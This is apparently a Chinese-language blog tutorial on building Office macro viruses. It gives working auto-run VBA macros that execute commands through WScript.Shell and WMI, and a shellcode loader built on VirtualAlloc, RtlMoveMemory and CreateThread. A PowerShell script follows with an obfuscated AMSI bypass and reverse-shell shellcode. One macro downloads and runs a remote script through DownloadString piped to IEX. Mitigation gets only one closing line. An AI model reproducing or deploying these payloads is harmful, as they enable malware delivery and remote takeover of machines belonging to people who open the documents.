一、浅谈宏病毒
类别 | 文件后缀 | 描述 |
---|---|---|
Microsoft Office 文档 | .docm | 启用宏的 Microsoft Word 文档 |
.xlsm | 启用宏的 Microsoft Excel 工作簿 | |
.xltm | 启用宏的 Microsoft Excel 模板 | |
.pptm | 启用宏的 Microsoft PowerPoint 演示文稿 | |
.potm | 启用宏的 Microsoft PowerPoint 模板 | |
.ppam | 启用宏的 Microsoft PowerPoint 加载项 | |
Visual Basic 脚本文件 | .vbs | Visual Basic 脚本文件 |
.vba | Visual Basic for Applications 代码文件 | |
.vbe | 加密的 Visual Basic 脚本文件 | |
其他 Windows 脚本文件 | .bat | 批处理脚本文件 |
.ps1 | PowerShell 脚本 | |
.wsf | Windows 脚本文件,支持多种脚本语言(VBScript等) | |
AppleScript 文件 | .scpt | AppleScript 脚本 |
.scptd | AppleScript 脚本包 | |
旧版 Microsoft Office | .doc | 旧版本 Word 文档,可嵌入宏 |
.xls | 旧版本 Excel 工作簿,可嵌入宏 | |
.ppt | 旧版本 PowerPoint 演示文稿,可嵌入宏 | |
Microsoft Access | .accdb | 启用宏的 Access 数据库文件 |
.mdb | 旧版本 Access 数据库文件 | |
.accde | 编译后的 Access 可执行数据库文件 | |
OpenOffice/LibreOffice | .odt | 启用宏的 OpenOffice/LibreOffice 文本文档 |
.ods | 启用宏的 OpenOffice/LibreOffice 电子表格 | |
.odp | 启用宏的 OpenOffice/LibreOffice 演示文稿 |
二、VBA语言
三、宏病毒制作
1、利用CreateObject("WScript.Shell")
CreateObject("WScript.Shell")
是在 VBA 中用来创建一个 WScript.Shell
对象的语句。这种对象允许VBA代码与Windows操作系统进行交互,执行一些常见的系统任务。Sub test1()
Dim str As Object
Set str = CreateObject("WScript.Shell")
str.Run "cmd.exe /c ping 192.168.49.70", 0, False
Set str = Nothing
End Sub
Sub Document_Open()
test1
End Sub
Sub AutoOpen()
test1
End Sub
Sub test1()
:
创建了一个 str
对象,它表示一个Windows脚本宿主(WSH)Shell。
执行了一个命令,通过 cmd.exe
来运行 ping
命令,检查与IP地址 192.168.49.70
的连接情况。参数 0
和 False
表示在后台运行命令,不显示窗口。
使用完之后释放 str
对象。
Sub Document_Open()
:
test1
。这是一个事件触发的操作,常见于Word或Excel。Sub AutoOpen()
:
test1
的方法。与 Document_Open
类似,但通常在从VBA环境直接打开文档时使用。2、CreateThread、VirtualAlloc、RtlMoveMemory
Private Declare PtrSafe Function CreateThread Lib "KERNEL32" (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "KERNEL32" (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr
Function MyMacro()
Dim buf As Variant
Dim addr As LongPtr
Dim counter As Long
Dim data As Long
Dim res As Long
buf = Array(232, 130, 0, 0, 0, 96, 137, 229, 49, 192, 100, 139, 80, 48, 139, 82, 12, 139, 82, 20, 139, 114, 40, 15, 183, 74, 38, 49, 255, 172, 60, 97, 124, 2, 44, 32, 193, 207, 13, 1, 199, 226, 242, 82, 87, 139, 82, 16, 139, 74, 60, 139, 76, 17, 120, 227, 72, 1, 209, 81, 139, 89, 32, 1, 211, 139, 73, 24, 227, 58, 73, 139, 52, 139, 1, 214, 49, 255, 172, 193, _
...
49, 57, 50, 46, 49, 54, 56, 46, 49, 55, 54, 46, 49, 52, 50, 0, 187, 224, 29, 42, 10, 104, 166, 149, 189, 157, 255, 213, 60, 6, 124, 10, 128, 251, 224, 117, 5, 187, 71, 19, 114, 111, 106, 0, 83, 255, 213)
addr = VirtualAlloc(0, UBound(buf), &H3000, &H40)
For counter = LBound(buf) To UBound(buf)
data = buf(counter)
res = RtlMoveMemory(addr + counter, data, 1)
Next counter
res = CreateThread(0, 0, addr, 0, 0, 0)
End Function
Sub Document_Open()
MyMacro
End Sub
Sub AutoOpen()
MyMacro
End Sub
Private Declare PtrSafe Function CreateThread Lib "KERNEL32" (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "KERNEL32" (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr
Function MyMacro()
Dim buf As Variant
Dim addr As LongPtr
Dim counter As Long
Dim data As Long
Dim res As Long
buf = Array(232, 130, 0, 0, 0, 96, 137, 229, 49, 192, 100, 139, 80, 48, 139, 82, 12, 139, 82, 20, 139, 114, 40, 15, 183, 74, 38, 49, 255, 172, 60, 97, 124, 2, 44, 32, 193, 207, 13, 1, 199, 226, 242, 82, 87, 139, 82, 16, 139, 74, 60, 139, 76, 17, 120, 227, 72, 1, 209, 81, 139, 89, 32, 1, 211, 139, 73, 24, 227, 58, 73, 139, 52, 139, 1, 214, 49, 255, 172, 193, _
...
49, 57, 50, 46, 49, 54, 56, 46, 49, 55, 54, 46, 49, 52, 50, 0, 187, 224, 29, 42, 10, 104, 166, 149, 189, 157, 255, 213, 60, 6, 124, 10, 128, 251, 224, 117, 5, 187, 71, 19, 114, 111, 106, 0, 83, 255, 213)
addr = VirtualAlloc(0, UBound(buf), &H3000, &H40)
For counter = LBound(buf) To UBound(buf)
data = buf(counter)
res = RtlMoveMemory(addr + counter, data, 1)
Next counter
res = CreateThread(0, 0, addr, 0, 0, 0)
End Function
Sub Document_Open()
MyMacro
End Sub
Sub AutoOpen()
MyMacro
End Sub
1. Windows API声明:
CreateThread
、VirtualAlloc
和 RtlMoveMemory
是用于系统级操作的Windows API函数。
CreateThread
用于创建一个新线程,并在该线程中执行代码。
VirtualAlloc
用于在进程中分配内存,这在复制数据到内存之前是必需的。
RtlMoveMemory
用于将数据复制到内存中的特定位置。
2. 函数 MyMacro()
:
首先定义一个 buf
数组,包含了shellcode。
分配一个内存块,权限允许读取、写入和执行。
VirtualAlloc(0, UBound(buf), &H3000, &H40)
0
(lpAddress
):指定要分配内存的起始地址。传入 0
表示让系统自动决定分配位置。
UBound(buf)
(dwSize
):要分配的内存大小,以字节为单位。这里 UBound(buf)
返回 buf
数组的上限值,即分配的内存大小与数组中的字节数一致。
&H3000
(flAllocationType
):内存分配类型,&H3000
表示 MEM_COMMIT | MEM_RESERVE
,意思是同时预留并提交内存。
&H40
(flProtect
):内存保护类型,&H40
代表 PAGE_EXECUTE_READWRITE
,即分配的内存可读、可写、并且可执行。
buf
中的字节码复制到分配的内存空间。RtlMoveMemory(addr + counter, data, 1)
LBound(buf) To UBound(buf)
:这是一个循环,从数组 buf
的起始索引到结束索引。LBound(buf)
返回数组的最小索引,UBound(buf)
返回数组的最大索引。data = buf(counter)
:获取当前索引处的字节数据。RtlMoveMemory(addr + counter, data, 1)
:使用 RtlMoveMemory
将 data
(当前字节)复制到 addr + counter
处的内存地址中。1
表示每次只复制一个字节。CreateThread(0, 0, addr, 0, 0, 0)
CreateThread
函数参数:0
(SecurityAttributes):指定线程的安全属性。传入 0
表示使用默认的安全属性。0
(StackSize):为线程指定初始的堆栈大小。0
表示使用默认的堆栈大小。addr
(StartFunction):这是一个指向内存地址的指针,线程将从这个地址开始执行。这是关键的一步,通常指向之前使用 VirtualAlloc
分配的内存,其中存放了恶意的shellcode。0
(ThreadParameter):传递给线程的参数。在此传入 0
表示不需要额外的参数。0
(CreateFlags):线程的创建标志。0
表示默认创建,并立即开始执行。0
(ThreadId):用于接收新创建线程的ID,这里没有使用。MyMacro
,通过 Document_Open
和 AutoOpen
实现。这确保了用户一旦打开文档,宏就会立即执行。3.WMI
Sub MyMacro
strArg = "ping 192.168.49.70"
GetObject("winmgmts:").Get("Win32_Process").Create strArg, Null, Null, pid
End Sub
Sub AutoOpen()
Mymacro
End Sub
4.调用powershell
[Ref].Assembly.GetType('System.Management.Automation.Amsi'+[char]85+'tils').GetField('ams'+[char]105+'InitFailed','NonPublic,Static').SetValue($null,$true)
function LookupFunc {
Param ($moduleName, $functionName)
$assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].
Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$tmp=@()
$assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null,
@($moduleName)), $functionName))
}
function getDelegateType {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
[Parameter(Position = 1)] [Type] $delType = [Void]
)
$type = [AppDomain]::CurrentDomain.
DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]::Run).
DefineDynamicModule('InMemoryModule', $false).
DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass',
[System.MulticastDelegate])
$type.
DefineConstructor('RTSpecialName, HideBySig, Public',
[System.Reflection.CallingConventions]::Standard, $func).
SetImplementationFlags('Runtime, Managed')
$type.
DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).
SetImplementationFlags('Runtime, Managed')
return $type.CreateType()
}
$lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc),
(getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)
[Byte[]] $buf = 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x0,0x0,0x0,0x41,0x51,0x41,0x50,0x52,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x51,0x56,0x4d,0x31,0xc9,0x48,0x8b,0x72,0x50,0x48,0xf,0xb7,0x4a,0x4a,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x1,0xd0,0x66,0x81,0x78,0x18,0xb,0x2,0xf,0x85,0x72,0x0,0x0,0x0,0x8b,0x80,0x88,0x0,0x0,0x0,0x48,0x85,0xc0,0x74,0x67,0x48,0x1,0xd0,0x50,0x44,0x8b,0x40,0x20,0x8b,0x48,0x18,0x49,0x1,0xd0,0xe3,0x56,0x4d,0x31,0xc9,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x1,0xd6,0x48,0x31,0xc0,0x41,0xc1,0xc9,0xd,0xac,0x41,0x1,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x3,0x4c,0x24,0x8,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x1,0xd0,0x66,0x41,0x8b,0xc,0x48,0x44,0x8b,0x40,0x1c,0x49,0x1,0xd0,0x41,0x8b,0x4,0x88,0x41,0x58,0x41,0x58,0x5e,0x48,0x1,0xd0,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x4b,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x0,0x0,0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x1,0x0,0x0,0x49,0x89,0xe5,0x49,0xbc,0x2,0x0,0x1,0xbb,0xc0,0xa8,0xae,0x80,0x41,0x54,0x49,0x89,0xe4,0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x7,0xff,0xd5,0x4c,0x89,0xea,0x68,0x1,0x1,0x0,0x0,0x59,0x41,0xba,0x29,0x80,0x6b,0x0,0xff,0xd5,0x6a,0xa,0x41,0x5e,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,0x89,0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0xf,0xdf,0xe0,0xff,0xd5,0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0xa,0x49,0xff,0xce,0x75,0xe5,0xe8,0x93,0x0,0x0,0x0,0x48,0x83,0xec,0x10,0x48,0x89,0xe2,0x4d,0x31,0xc9,0x6a,0x4,0x41,0x58,0x48,0x89,0xf9,0x41,0xba,0x2,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x0,0x7e,0x55,0x48,0x83,0xc4,0x20,0x5e,0x89,0xf6,0x6a,0x40,0x41,0x59,0x68,0x0,0x10,0x0,0x0,0x41,0x58,0x48,0x89,0xf2,0x48,0x31,0xc9,0x41,0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x89,0xc3,0x49,0x89,0xc7,0x4d,0x31,0xc9,0x49,0x89,0xf0,0x48,0x89,0xda,0x48,0x89,0xf9,0x41,0xba,0x2,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x0,0x7d,0x28,0x58,0x41,0x57,0x59,0x68,0x0,0x40,0x0,0x0,0x41,0x58,0x6a,0x0,0x5a,0x41,0xba,0xb,0x2f,0xf,0x30,0xff,0xd5,0x57,0x59,0x41,0xba,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x49,0xff,0xce,0xe9,0x3c,0xff,0xff,0xff,0x48,0x1,0xc3,0x48,0x29,0xc6,0x48,0x85,0xf6,0x75,0xb4,0x41,0xff,0xe7,0x58,0x6a,0x0,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)
$hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread),
(getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr],[UInt32], [IntPtr])([IntPtr]))).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WaitForSingleObject),
(getDelegateType @([IntPtr], [Int32])([Int]))).Invoke($hThread, 0xFFFFFFFF)
Sub MyMacro()
Dim str As String
str = "powershell (New-Object System.Net.WebClient).DownloadString('http://192.168.174.128/run.txt') | IEX"
Shell str, vbHide
End Sub
Sub Document_Open()
MyMacro
End Sub
Sub AutoOpen()
MyMacro
End Sub
四、防范方法
1.禁用宏或启用宏的警告,通过设置禁用宏或将Office配置为在有宏存在时显示警告提示。用户可以选择手动启用或禁用。
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...